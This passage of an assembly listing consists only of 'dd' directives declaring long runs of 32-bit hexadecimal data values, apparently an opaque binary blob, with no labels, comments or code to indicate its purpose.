		dd 0C2606DCh, 80D3F4C1h, 7601844Ah, 0FBF42B30h,	68CC4CCDh
		dd 0B1AB7738h, 82A3384Dh, 0F31069B8h, 0DC5E2866h, 0A4BE6B12h
		dd 858C88Ch, 3A0CD618h,	1514770h, 902DE118h, 41CFA3EBh
		dd 18C5FD0h, 24727435h,	68646443h, 1448668Bh, 34020CDFh
		dd 0AE839688h, 0A1EC1849h, 65ECFB16h, 670612ADh, 0E90A0A72h
		dd 79A0C0FCh, 9F46475Ah, 0FC051022h, 12E979A7h,	7B0BF580h
		dd 2B7496A2h, 457F0480h, 16585458h, 3C308BC5h, 0C2C00935h
		dd 20FE4651h, 0BD45A8A3h, 5039D0E9h, 0CD0ADCF8h, 0E42028B0h
		dd 929D080Fh, 0DA0F250Eh, 0B44E016Dh, 9863C836h, 8F7FC400h
		dd 66069EBCh, 89F39D3Ah, 4ACE09E2h, 474C40D8h, 910B161h
		dd 1C1999B4h, 9A946273h, 68F48198h, 909D780Ah, 0AB08606Ch
		dd 326427Ah, 1448BC15h,	38471829h, 0BF083024h, 7259034Fh
		dd 4100F8ABh, 0D775E46Eh, 0A41B065h, 69E6070Fh,	0F02D809Ch
		dd 0AF0CB399h, 3E971E3Bh, 0AAB2878Eh, 0E3A0D2FBh, 0A909E52Dh
		dd 0E0F491A4h, 0FC4F001Fh, 9F2EC6CAh, 71051DCDh, 0B95BBFCFh
		dd 0E888848Dh, 9515833h, 0A86A3FC4h, 0E0B00B8Ch, 0B0B9D407h
		dd 79A31710h, 0AA80EC96h, 0CD254994h, 89315851h, 3C9C8100h
		dd 2C295A59h, 8F0E0216h, 8D4B4470h, 3F6605F5h, 8E79FFD5h
		dd 0C06188C0h, 0A469C520h, 4DCD300h, 2EE9D96Dh,	0DA1000FBh
		dd 0E0856C77h, 7314EF3Dh, 48D02396h, 8C62E840h,	44ACD902h
		dd 418EA280h, 0D836B848h, 0C00CE615h, 704B1F00h, 0C293DBB1h
		dd 699E5300h, 0B63E5D61h, 26A173BFh, 2E8DFC5h, 17F0ABD0h
		dd 5A20F4C4h, 0B7B5051Bh, 60C674DEh, 0CF3F0298h, 0C9676C01h
		dd 5A3E7EB4h, 2642A19Dh, 5CE4EAE0h, 0B2011646h,	3F8D2928h
		dd 0D06C490Ch, 309BA6BEh, 0E4185A01h, 20E2A0Ch,	0AB1852B1h
		dd 0EC676070h, 3D0BF8FCh, 73242108h, 9FC34220h,	87C20F07h
		dd 7D06571h, 4D397EFAh,	0EB8800E1h, 0CF04204Dh,	7F49AA51h
		dd 99887CCEh, 0E54FDEC0h, 0ECD402E4h, 85452BD1h, 0F2D8F4C0h
		dd 0EC4000B1h, 0C186D3CDh, 6708B318h, 0E6C18682h, 13190B0h
		dd 3E9B5EBDh, 382A730Ch, 10BA24F8h, 0F824B71Dh,	0CE396C98h
		dd 28865C23h, 2932FCA1h, 0F5EB00ACh, 2557B2DFh,	0CBE400AAh
		dd 324C59A7h, 0C5F0A067h, 0D0401600h, 17AE2EDCh, 0F45F8D6h
		dd 426CF2Ah, 0B38176EFh, 28ABEDCCh, 18AFC278h, 8BF44563h
		dd 0CF20835h, 330473Ah,	60E6C5BDh, 8390C9Ah, 6C1780Bh
		dd 0B680A9EAh, 0BD8F7A30h, 0BA4CC081h, 3C506415h, 217B041Fh
		dd 0BC4B7441h, 28201FAFh, 2DED3F62h, 8B813889h,	0A8B7BC87h
		dd 75A670Bh, 645B27A0h,	8AAC0A24h, 5A8123Eh, 0B2EDD0A1h
		dd 3011F230h, 33724961h, 0E6453005h, 0DC4B9C10h, 3EF49018h
		dd 36890C34h, 0EFF0938Bh, 2636840h, 0B96B71D0h,	0D0A02833h
		dd 18321386h, 6A513C1Ch, 7738F500h, 0D07F87h, 4457CAF0h
		dd 552E263Eh, 10845458h, 68000FA4h, 18360C45h, 30A16707h
		dd 239C3D6Ch, 32E50157h
		dd 33C2D259h, 0ED948348h, 95D19832h, 31A030Ah, 8AC310B0h
		dd 9D3C582Dh, 0C1C48874h, 0C1C421FCh, 4CE06072h, 827CB4B1h
		dd 1CE28A8Bh, 0F2B78B0Fh, 5E3C06E4h, 0A041A9FBh, 0B8372616h
		dd 0C63A829h, 87373500h, 86F677B3h, 4CB0E824h, 0F8DC5112h
		dd 617F604Eh, 0CBA83EA5h, 0A4424D07h, 0E237E62Dh, 0D2B181A0h
		dd 1A6C32ABh, 54EC5568h, 4909113Ch, 0CE440518h,	8CC8D5Fh
		dd 3D703CD0h, 0A35CD05Fh, 0F300CCF2h, 9F462F9Dh, 26E65F2Bh
		dd 924710Dh, 9C0F8472h,	731512Ch, 20F53B18h, 41E8DC0h
		dd 0BEC658CDh, 33A8F1E7h, 3060A28Ch, 0C4034564h, 66BE9835h
		dd 74B39F8Ch, 0DEB810ABh, 6938F8h, 0E8FE0773h, 1EA05C3h
		dd 361C3F57h, 8A6B0D90h, 5CD46FE0h, 0E4086549h,	45A96014h
		dd 0F904011Fh, 0ECEB8E19h, 74218012h, 3C065B28h, 0BB89037Eh
		dd 27D50D2Ah, 0D08035F3h, 46002DA5h, 3AC33CB1h,	4BD60888h
		dd 3F9C01FFh, 0A69343C6h, 9D4988C1h, 9C6411F0h,	0C9B783C2h
		dd 8CCC90E7h, 246B0F99h, 6A20E687h, 7B733D6Eh, 84114224h
		dd 30713586h, 5E9C94C9h, 39011746h, 64C77FB8h, 3052202Ah
		dd 0AC830626h, 2946BB42h, 62A9C484h, 0CB1C057h,	58289652h
		dd 18004FB4h, 75971A50h, 103D7889h, 5F9BCCFEh, 2462D4C2h
		dd 0F550A432h, 8CE0A10Bh, 112C007Bh, 4873086Eh,	59607C59h
		dd 0DC8172EEh, 0DAD50900h, 7F133347h, 100A4CD2h, 45032A20h
		dd 0D708F17Ah, 338A651h, 1435E0B6h, 3192C4BCh, 0B363880h
		dd 80FDF27Bh, 190F9B38h, 0AA5052DFh, 821409F4h,	0E5ECF10h
		dd 0F83BB62h, 91EE28C9h, 0AC4D3628h, 0B3161E94h, 6640802Ch
		dd 5A02A040h, 9BD647D2h, 5F8C5A9h, 95B40D44h, 0B268F3F4h
		dd 307E3110h, 6E16126Bh, 0A80FE8CCh, 0AA88A445h, 0BEF1CE02h
		dd 5A219864h, 18F00C32h, 0E0B6E5A8h, 42A1787h, 8DCE9640h
		dd 4ED80032h, 0B1131DBBh, 4D272872h, 0BA882033h, 196C6CFh
		dd 2666345Ah, 0D055E9F3h, 631DBB64h, 0A53C6DDAh, 14AC8F9Bh
		dd 8B4F151Ch, 511400C4h, 69A47C06h, 0FCC4167Ah,	4CDC1086h
		dd 97094E1Eh, 51741F47h, 0A2E60738h, 0E0EA467Ah, 0A025D69Fh
		dd 24331944h, 0C7E40091h, 0C3269010h, 9A00B129h, 3F67F6CAh
		dd 0BA1E735h, 448BD05Eh, 314D0C41h, 0AA5880BCh,	9FCBB756h
		dd 8D2905E1h, 88B34C49h, 9210A320h, 0A86E265Eh,	3C2E27E0h
		dd 0A102CB6Eh, 32930CE6h, 0AC690F3Dh, 7305D468h, 12D5620h
		dd 39897AD8h, 0C86BBE49h, 0ED40B6B3h, 67F237D0h, 0D1618608h
		dd 2343952h, 38E6B93Eh,	1394E491h, 0CA5387EDh, 9D411F34h
		dd 0BCCDC652h, 0B8052873h, 81EDD10Bh, 0A0A30A58h, 2778D4F8h
		dd 0D0B64478h, 59805291h, 69AF9E7Dh, 0FB5814BEh, 557D0040h
		dd 0DA75310Dh, 5B008153h, 0BA380B5h, 0B2B6667Eh, 0E97318A0h
		dd 0D508E03Ah, 370DB893h, 4C08A070h, 4F1818AFh,	34E6195Bh
		dd 49A0936Fh, 7F6C22C2h, 800F28Ah, 0E28B358h, 8873EF00h
		dd 17C3E909h, 42C883D0h, 40707F48h, 34E88CE2h, 8B28CE26h
		dd 84967C97h, 0C663E40h, 8D7F00C2h, 65DC5F75h, 970FFD64h
		dd 96F3B2Bh, 5A948215h,	6D88E3A3h, 0D5701078h, 3308410Ah
		dd 47E9802Ah, 83CCD9B0h, 0A7BB001Dh, 7F2BBDB7h,	0E990F5F4h
		dd 536F290Fh, 0DCE38EB5h, 1407E012h, 1B02AF9Bh,	454683Bh
		dd 64543C66h, 0D7012F04h, 0DB4A46Ah, 864F9CA8h,	1800B491h
		dd 7C2C402Ah, 87C09135h, 70CA5613h, 0E41576AEh,	72B31902h
		dd 325DCBBh, 0C8104E4Fh, 0EF13270Ch, 0D2189093h, 0C163ACA3h
		dd 0F8B67318h, 51F97126h, 4CC9C59h, 930A09B4h, 0DC2A2B8Eh
		dd 31BD0540h, 0F0F8A653h, 9825DD61h, 0CEC70870h, 0E906A8E3h
		dd 29C6E5h, 34F32B32h, 4D1BC8C3h, 9A313E02h, 69B1594Eh
		dd 0D43C1E80h, 8F1C9378h, 0BCAAB370h, 58204CD8h, 0E40FE8B3h
		dd 0CAD22432h, 95B02CACh, 0AB1432ECh, 2D86B9Ch,	1F664502h
		dd 4628409Eh, 9DFC24E6h, 0DE264130h, 8CC1A084h,	587F120h
		dd 28837249h, 33B82810h, 152024E3h, 0E2B79D00h,	62EA788Eh
		dd 885902DFh, 3F38B004h, 30569449h, 1057E40Ah, 3B2911D0h
		dd 1CBB500Dh, 80E43821h, 20E0FFFAh, 9B990042h, 0EAE728C9h
		dd 6501098Fh, 68B5488h,	3020A8F6h, 5FD37780h, 1C680428h
		dd 0D2B4805Eh, 1363988Bh, 0ABA4CEC1h, 284CC339h, 96AC5898h
		dd 95465EF0h, 0DF457000h, 9C52C22h, 0EE5E0402h,	4814BE93h
		dd 0BE548348h, 0A6F42068h, 483F4EFCh, 718081DCh, 0D153F484h
		dd 870B0048h, 52AFF5F7h, 3A005065h, 861D4F96h, 3072A4EDh
		dd 0A16036DAh, 8B160AE5h, 23230Eh, 8C3EDAAh, 206AE27Fh
		dd 0D174DC9Bh, 0D8A19A2Eh, 62EB18B0h, 0B7402CC1h, 0B8583E60h
		dd 0E3F98180h, 55006DCCh, 72CB65CFh, 0D51833h, 647C9987h
		dd 80E87F57h, 0B37450Ch, 97F878B7h, 829D7885h, 8B042E84h
		dd 0CE442C80h, 349F4867h, 0E823B494h, 5B79A101h, 2873A747h
		dd 79A8FF80h, 0E92E645Ah, 8E089423h, 37B10038h,	15DE8B05h
		dd 0A294B8B6h, 34314B80h, 64736CBFh, 4E3012E2h,	29020171h
		dd 4F635AFFh, 0DF07C46h, 0E9BA8AF3h, 0F354122Ah, 0C1C3E1ACh
		dd 0C1D09D1Fh, 434C0CB8h, 0B520605Ah, 0D052E27Fh, 6FC0F8B0h
		dd 0A9A23055h, 0F5B5C61Ch, 0CC446880h, 0B57865Bh, 67D68139h
		dd 6C56ACE2h, 5B30B184h, 4A0830A0h, 433C5DCEh, 7537E135h
		dd 2C6273C1h, 0A4354F10h, 5CE0ECF1h, 0DD668114h, 712EF120h
		dd 0EABD50Ch, 0CB16B03Ch, 62282168h, 0EEE601A6h, 496686Ch
		dd 6C7DC70h, 300A798Bh,	0FE80D60Bh, 58BA2DF0h, 8B42809h
		dd 63E46089h, 32D8FFD8h, 5F7D7C51h, 946017DBh, 18F0C134h
		dd 0EF1B01A3h, 80608714h, 0D6808BC9h, 90A39B2Bh, 0BA08902Dh
		dd 0DB33003Eh, 51B12405h, 900E992h, 6D8493DDh, 1249EBB7h
		dd 20E5D6CDh, 19204D3Ch, 0B37127E4h, 1A87D3Fh, 2FE934ACh
		dd 0A9C0F88Dh, 4499091Fh, 0AC2098DEh, 0D2C874E1h, 37739303h
		dd 0F530B6BAh, 0BB1A4CA2h, 744191A3h, 0B5B18A5h, 320CE518h
		dd 48801865h, 12821850h, 0E41E0170h, 0EF174454h, 0F811D183h
		dd 6096142Eh, 28312A88h, 13D03B7Ch, 7D4C44CBh, 0B0B212EDh
		dd 0D93022F2h, 5FAC035Eh, 0AEBE5510h, 4CC2B198h, 0D512E4B8h
		dd 180CA1D6h, 9EE6F166h, 0FC098040h, 8D3F9487h,	584C2D0Eh
		dd 0C36F6003h, 24730CE6h, 808C29CEh, 5A64C5B1h,	407F9880h
		dd 4BD0F84Ch, 6323A02Fh, 0D4B89407h, 0E892C115h, 50C01288h
		dd 5CB9C434h, 9146208h,	0D4034AD1h, 1940AE9h, 0E301D6B7h
		dd 1245EEF4h, 0D39D1CE6h, 0E9278CD4h, 0F9004446h, 884A868h
		dd 4E6CB4D7h, 258644h, 0F2598CB3h, 0CAB1AB15h, 125440h
		dd 0F63C2E21h, 0F5854C4Eh, 0A4E5EF0Ah, 9F082C86h, 0DE460E59h
		dd 0F448ABE9h, 0C68072EBh, 8BD02FE6h, 746E1023h, 28DEA118h
		dd 762F3519h, 4F4F5ACEh, 57F4740h, 12C8612h, 1050E3F1h
		dd 20BF2169h, 4CA0A0E4h, 6079E6B9h, 0A44B48C9h,	0D00B1168h
		dd 2C426E8Bh, 0E5DF860h, 9D2F3380h, 30739827h, 0A29A8AEFh
		dd 0E3B7D016h, 696AA902h, 5350C954h, 47E4826h, 61AF9D7Dh
		dd 0A3F8BC22h, 607DD2FCh, 1DB83C62h, 9A62442h, 48AC1406h
		dd 48C4C50h, 0AFA07D5Bh, 231E6259h, 200542F9h, 7A619043h
		dd 52D7B804h, 4E72E60Eh, 8B807C1Ch, 87DB2D9Bh, 8FD0FD00h
		dd 0F7D64770h, 1178C2A5h, 6874CF39h, 0C914346h,	76DB38AFh
		dd 74F35918h, 92170804h
		dd 1020E64Eh, 3759538h,	98145558h, 0C75F69h, 0DD4E5E3Bh
		dd 50381717h, 0AA205421h, 57F7F0h, 84B8A816h, 0AF663F1Fh
		dd 0F17BA000h, 0E007D6C6h, 8B5F244Fh, 72EB0858h, 870A042Ch
		dd 7421E47Fh, 41FC0805h, 0E082EC0Ah, 0D0044293h, 490274AEh
		dd 147EBD4Ch, 38109C4Ah, 74E6A207h, 1305C1D7h, 4F1C261Dh
		dd 9A23142Fh, 0CABEC100h, 1433F63h, 4D7146DCh, 2E94DE47h
		dd 32B0A402h, 7634CC5Fh, 0EF68396Dh, 196C072Ch,	2DE681B0h
		dd 0E2A0000h, 0FF6613E3h, 63B91D51h, 8B4E82D0h,	0D4A131D6h
		dd 72643D3Eh, 3017F250h, 0D33D1206h, 0ADFA0140h, 534F18B1h
		dd 70DAF851h, 257D89D8h, 30C8E530h, 0E0F21226h,	0D8FD8D16h
		dd 0BC6EA00Ah, 9C83D282h, 2050641Bh, 58133022h,	6080F8B3h
		dd 0EA47A42Fh, 5A409046h, 42200ECBh, 49FC4306h,	2834A548h
		dd 5B09FCC9h, 19363F4Eh, 0D0235904h, 7F4D3Fh, 50F76B51h
		dd 605A4C44h, 0C806DA72h, 0CE9BA2Fh, 9C124088h,	26021C93h
		dd 647DF7CEh, 47EF4448h, 0C81360B4h, 2C824425h,	0E8C009Dh
		dd 0A31A524Eh, 19E9BEA8h, 682D3280h, 41E4007Eh,	82E8C852h
		dd 0C70A6A1Eh, 4036FC01h, 14F66792h, 0C0D1EBB0h, 544582Fh
		dd 0A4095B3Ch, 0DC04200Bh, 5AEF9A2Eh, 7F9045CFh, 0DA20883Dh
		dd 3A335D3Fh, 16B8D04Dh, 80180F58h, 0E74842DCh,	2478287Eh
		dd 88875480h, 3322263Eh, 0E651097Dh, 8179C879h,	0F24CB18h
		dd 0C8257CBAh, 780D2F3Ch, 433D036Eh, 237126FBh,	8C6EE95Bh
		dd 0B0D6110Eh, 495817Fh, 6C8024DFh, 2033A270h, 89AF712Fh
		dd 9FBEE680h, 41D09080h, 1E787B72h, 1C444CBCh, 0B3D25941h
		dd 53BE4h, 94E4447Fh, 38D86B43h, 3978A063h, 50205E45h
		dd 707E1445h, 5C09AC41h, 28675373h, 6385D14Eh, 0A6F8C009h
		dd 5903A392h, 23327E5Bh, 0AFD80498h, 4D668310h,	0FC2CA170h
		dd 788C64BCh, 67A265Dh,	0A5F30834h, 13081024h, 4C491365h
		dd 72D183B4h, 7EE67612h, 0AB583830h, 11154E94h,	72C6ACD8h
		dd 37B7D955h, 28590078h, 8E3A9477h, 0EA2044B8h,	876D0027h
		dd 619DC57Bh, 0F8AA0232h, 2C44AC67h, 30AC5460h,	653A3F00h
		dd 7F59FEFBh, 847312C5h, 27A004E0h, 83520110h, 4E2F2428h
		dd 2907A40h, 47390F8Bh,	0C698804Dh, 0B97D0CFEh,	711D0874h
		dd 0AB8A0939h, 2554F840h, 54454E55h, 526063E4h,	0DB26E38Fh
		dd 0CC08C4E7h, 3F680112h, 7022F64Ah, 8940D084h,	0D084494Eh
		dd 0DBAF7B00h, 0B82FF032h, 824CF50Eh, 19CF00E2h, 0CA41EBCh
		dd 8A03D646h, 7216DF38h, 0C4884B82h, 0A0090071h, 1B372CD4h
		dd 64482DB2h, 8C13BCE0h, 0BE4C1F7Fh, 868B1224h,	4C4C144Fh
		dd 5AF669F4h, 8844CF5Fh, 0CD42FECDh, 18A2F4h, 847A85D2h
		dd 6F7E9Eh, 19C6EDECh, 30B00629h, 0A84ED333h, 0AA00B57h
		dd 5CE07A93h, 402483DAh, 0D2276026h, 0EFA4A00Ch, 0B3D08037h
		dd 3CEA7026h, 0DC320913h, 0BC24418Bh, 0ACF14912h, 0C44EF848h
		dd 0B80A31h, 8C61B2C0h,	904F131Eh, 373F348Dh, 0A67C1E4h
		dd 2C2C59D6h, 734B1580h, 26C8113Ch, 4264A840h, 0D0C62498h
		dd 22C0EBC3h, 3E4CC110h, 0AC191330h, 0B293C890h, 962CBE32h
		dd 0C8ACCB7Dh, 4E50C20Dh, 25C4A8E0h, 0CDA424BDh, 0B5CB84F8h
		dd 0A0944805h, 2378F6B0h, 8F9B8AAh, 70252B03h, 4743A0D0h
		dd 0BE220F1Bh, 0C3C0C9A1h, 5B75FC09h, 20FDED0Ah, 0F592B493h
		dd 9D115C1Dh, 0EEAF0B3Eh, 0BC14EC81h, 0EA71A728h, 3AD08358h
		dd 0FE4598F6h, 10994C08h, 0BB02A9Fh, 1A4FAB6Eh,	0D521E822h
		dd 0A68F040h, 2FE5AC99h, 0BC9C8451h, 68E62499h,	26138068h
		dd 0FA2CBDD2h, 252E4C00h, 69F019AFh, 468303B4h,	6FBCC4BAh
		dd 6A2FB096h, 91841D73h, 46AA8010h, 367BC53h, 0BF9D193Fh
		dd 895C7AE7h, 9B05C1E0h, 0C693D86h, 225FF12h, 0E6454E24h
		dd 35EA687Ah, 3B34CA39h, 20C3CEB2h, 9EA1797Fh, 390D5130h
		dd 3802278h, 0F879E1DDh, 0FC80B692h, 7C04A520h,	0CC090F25h
		dd 108244FCh, 0D00B58C3h, 0F6452EB4h, 29D74238h, 6F010720h
		dd 12768054h, 23E8C502h, 4483F732h, 4AC87848h, 0F6F4C5AEh
		dd 0BC25E054h, 15AA048Ah, 0C42C11F0h, 1CA80234h, 30D9E20Ch
		dd 0C81FC1F1h, 8C115EC1h, 0DA018A72h, 88963A6Fh, 0A0447A3Dh
		dd 660708F0h, 0CC00E9F9h, 0ED50FEBCh, 738708BCh, 7780D11Ah
		dd 48CB7974h, 2C2CEC5Bh, 0F689FC8h, 0F040544Ch,	0B97C8ABDh
		dd 123E8D00h, 62FEEB38h, 18A074B3h, 110B9CD5h, 0A60045F6h
		dd 742810Fh, 74BA89B7h,	21FC6006h, 90A64DCBh, 0AC173D03h
		dd 0E0B9AF9Ch, 0FBB8D3Ch, 0D70DA03Ah, 0FE16B3A0h, 46008A5Ah
		dd 201E4597h, 7C6C7E5h,	0E098EFCCh, 9F5BB033h, 0FD00C9C1h
		dd 8AD096B4h, 0B854161Eh, 0FA2E37F4h, 0C09E8070h, 7773B4F7h
		dd 7F0A5807h, 84465727h, 0C8B83E21h, 0CA03D380h, 0FBE51EAh
		dd 0D7891906h, 10E01290h, 16457Bh, 0E903AE0Ch, 7CE08EACh
		dd 0D65600D3h, 2C8F089Eh, 30C0225Dh, 34831AD4h,	7E90C0CCh
		dd 7B85F655h, 255D0601h, 8C011F8h, 31808850h, 8D3D00D3h
		dd 0D9D3E2Fh, 0B568FDE6h, 44C0AC49h, 46810EA6h,	1FF3224Ah
		dd 80A64CC8h, 416D33C3h, 43F82621h, 0E9F88930h,	3F58875h
		dd 1D18D4FBh, 6800E709h, 0B6107B81h, 7CFAF820h,	62F107B3h
		dd 0D64F161Dh, 530EF9B7h, 42CC3DB1h, 63669AC2h,	4B08310Fh
		dd 0F8B97421h, 853B057Fh, 7007461h, 8B135E21h, 0C1494023h
		dd 8A426260h, 95485187h, 8DC000E3h, 3B481Ch, 9D97F50Ch
		dd 4529CA9h, 90CB0094h,	7F969E39h, 7BD90CB9h, 0D2584830h
		dd 484CB4A1h, 3D39B058h, 11BA23CDh, 0B8751F4Eh,	0E1E3B97h
		dd 16FAF42h, 55C48110h,	0E1003F54h, 0EE7B79A8h,	393E1803h
		dd 6588FEh, 36831911h, 0F541383Ch, 0D4118C93h, 91F1B606h
		dd 9C337148h, 880C1907h, 588303h, 0CD4AAF90h, 8163925Ch
		dd 14B51A2Ah, 1E00E0F8h, 53BEA53Fh, 794893DFh, 707B0085h
		dd 41B10A0Ch, 836E9DC4h, 68738231h, 9B888145h, 9455C139h
		dd 0F523D03Ah, 0D4630300h, 6ADE88h, 8BFB9E98h, 0A135327h
		dd 0E961F214h, 7E070930h, 0C2D8221Fh, 1B74415Dh, 0A258A040h
		dd 3CB7725Fh, 929BC962h, 60BC917Ch, 7713A641h, 0F2448C81h
		dd 0B04963CFh, 0CBD0974Fh, 2003F37Eh, 0C47303F9h, 0E7F0035Dh
		dd 187B07F4h, 35018979h, 1D0BFA48h, 0CFD706h, 8596C19h
		dd 802021CBh, 0BE6D6612h, 88A2502Ch, 0FC06A1F1h, 528873DBh
		dd 399F0C20h, 83F89768h, 39AC0B31h, 0F455627Bh,	0C14B9C08h
		dd 0C9C03DB5h, 884A18A2h, 9BFCBD78h, 0B5E46900h, 7017F211h
		dd 342C4998h, 8C7D3C05h, 4EA80013h, 0FE38F212h,	70B24C91h
		dd 3DB43048h, 9A46C172h, 793F5022h, 0B0191CBCh,	1CB44440h
		dd 0E640256Dh, 20081317h, 0FC500F5Bh, 66D6B9A2h, 0C029CA0h
		dd 9C70444Bh, 0E3FAEA0Dh, 0FB0878h, 4B042321h, 0AC92B574h
		dd 1DE62112h, 10FB8822h, 8524A075h, 0F100ECF6h,	775036F7h
		dd 0E7970DA9h, 3018EAE9h, 498AB704h, 1613EE58h,	2ED4014h
		dd 10773C08h, 4213E541h, 0F774208Eh, 0F240F9B7h, 0B45D34B2h
		dd 60CC251h, 0EAF7CD30h, 22CF4677h, 0D5BD0087h,	5D2830F7h
		dd 0A31507ABh, 7CA4BF7Bh, 0E82AAA00h, 0FACBCDCFh, 9059040Dh
		dd 90DDC961h, 0A423818Ch, 104248h, 7BB7B0C8h, 0A08D43A3h
		dd 21AFFD54h, 584AF395h, 24ECE61h, 0A2980D0h, 6C676B45h
		dd 60E80CD4h, 94FCE358h
		dd 55F3714h, 810A88B8h,	0FBD624ACh, 198824A0h, 1CBBDC0Ah
		dd 7F001096h, 55372742h, 5D5C0966h, 0DC201D3Ch,	0B20693E4h
		dd 48C40490h, 9B071A69h, 83F964C1h, 4912AEE4h, 94018E56h
		dd 5CA42817h, 4CF27064h, 0B5189843h, 5556E0EDh,	60652430h
		dd 90B36B7Dh, 0B93420D8h, 80947A4Ch, 0CAC1C917h, 0D6E7007Ch
		dd 0F3921D55h, 8C00D75Dh, 3D5CD4F1h, 18658A73h,	5016F47Dh
		dd 39146241h, 15BCADE7h, 7B08C21h, 6B2CCC52h, 0F6C49200h
		dd 0E81A0090h, 8908F326h, 0E6281CECh, 0DBF51CF1h, 0A0A01AC2h
		dd 0E3573034h, 7302327Bh, 451DD398h, 448CC763h,	6EA604Fh
		dd 0F8B50036h, 0C5986D29h, 0A0A8F99Ch, 0EE0EA5A9h, 0C0518F9Bh
		dd 0D4FC86B5h, 21893B91h, 3E440E26h, 0E1B7B201h, 87FA9D53h
		dd 421CF539h, 0C6C9C811h, 9EA2C8h, 1682AC7Ch, 0D589C5D4h
		dd 0C8909F98h, 0B0A37501h, 1495E2FEh, 986353D1h, 84314DA2h
		dd 3127EC0h, 724F9013h,	0B0E95DA3h, 0A07D0017h,	79DCB28Dh
		dd 0E5F704B3h, 81912DF1h, 606A1618h, 8EC3BB7Dh,	58F63EECh
		dd 407740C8h, 0D1149F41h, 4C8C01Dh, 0CCECA17h, 6278D0C1h
		dd 4EFF2710h, 0C420D653h, 8165C52Ah, 321E5444h,	3048F2CCh
		dd 0E490E79Fh, 1249C820h, 202EF49Dh, 0B822EFE0h, 9B935103h
		dd 7F641C9h, 4A7FB0E8h,	1018271Fh, 11FED71Bh, 463B9494h
		dd 48A6431Fh, 0F1CF5281h, 0A64BCD00h, 4AAC03C8h, 77576D00h
		dd 9DDD9EBDh, 0F8A1269Fh, 0AC584384h, 63552D90h, 87BFF204h
		dd 14C14122h, 0B9845EBCh, 41F521ADh, 0C144AA5Ah, 7999CFC0h
		dd 39563904h, 69979206h, 190E5805h, 0B4AA3789h,	5CD816B0h
		dd 30BC0C22h, 41114B11h, 0A88289Ch, 4B40D89Dh, 0B65E4089h
		dd 0E3729Dh, 599F289Bh,	4264E1AEh, 511D894h, 0B0F7CC80h
		dd 448CD777h, 0D41FBC8Bh, 9E8215F7h, 898FE5C1h,	0E4E496BCh
		dd 0FC478263h, 79608644h, 3D2CD945h, 0B1083CF5h, 7D3E02E4h
		dd 7842062Ch, 63D60C41h, 0EAC10D4h, 6DA87706h, 9C2A30E0h
		dd 30CE8F6h, 0A061200Bh, 34BB497Ah, 46800070h, 4CD7FCF1h
		dd 0F531C99Eh, 73B7D082h, 0AC0B0473h, 7090D7C6h, 0C301FBE6h
		dd 0B605C5F2h, 0BC707F74h, 5F07400Fh, 0ACB3C23Ch, 4647CB8h
		dd 0B1F7CB60h, 11DF7723h, 0D3BF0085h, 918286F7h, 7D1C0BEDh
		dd 10B0B689h, 101FEA11h, 0A1B09874h, 1F27AC09h,	2B74D14h
		dd 0F78DFB68h, 0E8D0A450h, 8C83F8C4h, 8C00D47Fh, 21FA8880h
		dd 125FACF1h, 8C0C3712h, 42824B7Ch, 404CEA38h, 5C27E69Ch
		dd 4988CC09h, 0DA1CB3CEh, 629293h, 0BF7A2347h, 0F8821DF2h
		dd 5B103F6Ch, 69C80E3h,	422781C0h, 74A891h, 767D6D7Ch
		dd 355F6BAAh, 9379F01h,	0BA9CF1C6h, 8342598Ah, 9B646188h
		dd 4B118002h, 6D10C0F1h, 0B29F0FD9h, 1A80E882h,	0AEE06450h
		dd 4A47EE3Ch, 5229BC30h, 0BC7D2AB3h, 5E7C96F4h,	0E9008546h
		dd 1DDC92B9h, 751864E7h, 9D218F2Eh, 0FC690042h,	14376173h
		dd 31052A24h, 0AA4513DFh, 558FDE02h, 0D744108h,	88DC0070h
		dd 0E14AF19Bh, 5861F816h, 8453BE7Bh, 460DA0AAh,	7C1A039Bh
		dd 5732EAF3h, 0FE07B5E0h, 124B6E5Ch, 204F08C0h,	98F30B11h
		dd 0B012436Ch, 7180E56Ch, 0D7F69BE3h, 213066BDh, 9795C18Dh
		dd 5FF44E01h, 7518A230h, 319CD88h, 0ACE75183h, 0D41D29E6h
		dd 358FFF11h, 43BC99C0h, 0C9F8345Fh, 5D51D561h,	0C82C9C7Dh
		dd 74730381h, 0A3884465h, 0D58019A4h, 8110D138h, 4A561803h
		dd 2A84614h, 0BC55B7C9h, 4494801Ah, 831CD57Ch, 8DC7613h
		dd 0DBC66491h, 1770C317h, 4D881913h, 971D544Bh,	80479108h
		dd 4C553F43h, 0D650C430h, 6950D011h, 17BE588h, 0FC49663Dh
		dd 5DCCF4FDh, 7BD9C206h, 4C0515Ch, 178D3FC1h, 74CC1019h
		dd 129C91C5h, 0D580B495h, 550E6F5h, 0CFE9905Ch,	0C8D42295h
		dd 11A64030h, 886A8112h, 48CC87F1h, 0BF7950A6h,	0D05C7F97h
		dd 83AC00ACh, 373990C8h, 442CA7C6h, 0D5D067F3h,	0B86584h
		dd 14ABA86Dh, 1553721Dh, 0FDCF1705h, 9C98C6B4h,	474B080Bh
		dd 71CF789Ch, 4B032200h, 33E8A5E6h, 4344BD0Bh, 1678A288h
		dd 17CC15Eh, 0FC42A912h, 34ECD860h, 0C496DE09h,	600C82BEh
		dd 98AC8931h, 0CB9BA1Ch, 1A41E712h, 7E14F430h, 0A480ED83h
		dd 0F3B2D0B2h, 7AF1730h, 0EEF98B9h, 45348326h, 78462A8h
		dd 0CC33784Eh, 51958237h, 83770064h, 4D66E09Eh,	3650D600h
		dd 0F358842Bh, 1AAE033Ah, 4482CD0Ah, 9CC2981Ch,	55350022h
		dd 6CAF5CA7h, 1A012D26h, 193FF895h, 8058C444h, 1D6D7C75h
		dd 92907256h, 363002F5h, 2058C455h, 0BDF7FE12h,	83F1349Ch
		dd 4C593876h, 399B05D8h, 0BC03F391h, 0BA680385h, 87D04022h
		dd 0E64625B3h, 20A7831h, 23209C26h, 0EC208E47h,	98AC4920h
		dd 81C47D6Ch, 0F211F09Dh, 43E19C9h, 0E60BB28h, 9C23424Bh
		dd 25C43D10h, 834B0600h, 0E77159CDh, 75BF01C8h,	799E356h
		dd 0A750234Eh, 0C102C5E8h, 87F04D58h, 0E99CC699h, 3108B96h
		dd 0D1904A1Dh, 210E8579h, 80B79BFDh, 0CB3DD2BDh, 0ADE3804Eh
		dd 0B30C7F43h, 696919D7h, 81A7403Dh, 7FAC9607h,	0E7CD3775h
		dd 7B81B082h, 0CC7A623Ch, 8C602482h, 1890046Eh,	8064D349h
		dd 810DA647h, 0C00642B2h, 4CA64FC9h, 0AAB0006Eh, 87BDFB82h
